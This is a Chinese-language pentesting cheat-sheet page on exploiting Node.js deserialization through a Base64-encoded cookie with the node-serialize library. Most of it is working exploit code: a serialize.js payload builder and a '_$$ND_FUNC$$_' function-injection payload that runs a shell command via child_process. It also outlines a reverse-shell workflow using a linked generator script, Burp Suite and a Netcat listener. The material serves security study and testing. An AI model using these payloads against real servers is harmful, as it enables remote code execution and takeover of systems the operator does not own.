> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).
# Node.js 反序列化 Base64
## 反序列化（node.js）
使用 Burp Suite 拦截请求并找到一个 **Base64 编码的 cookie**:
### **手动：**
该 **serialize.js** 下面的文件会序列化数据并执行一个命令，在本例中 `id`，在 **我们的机器上**:
```javascript
var y = {
rthis: function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialized: /n" + serialize.serialize(y));
```
要将有效载荷发送到 **服务器**，创建 **unserialize.js** 下面的文件：
```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
```
### **自动：**
使用这个 [脚本](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py)，上传它，并使用 **python2.7**:
创建一个名为 `数据` 并包含以下内容，然后将 **输入** 替换为脚本内容：
```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}
```
最后，将此文件转换为 **Base64**:
将内容粘贴到 Burp Suite 中：
使用 **Netcat**，监听并获取访问权限：
---
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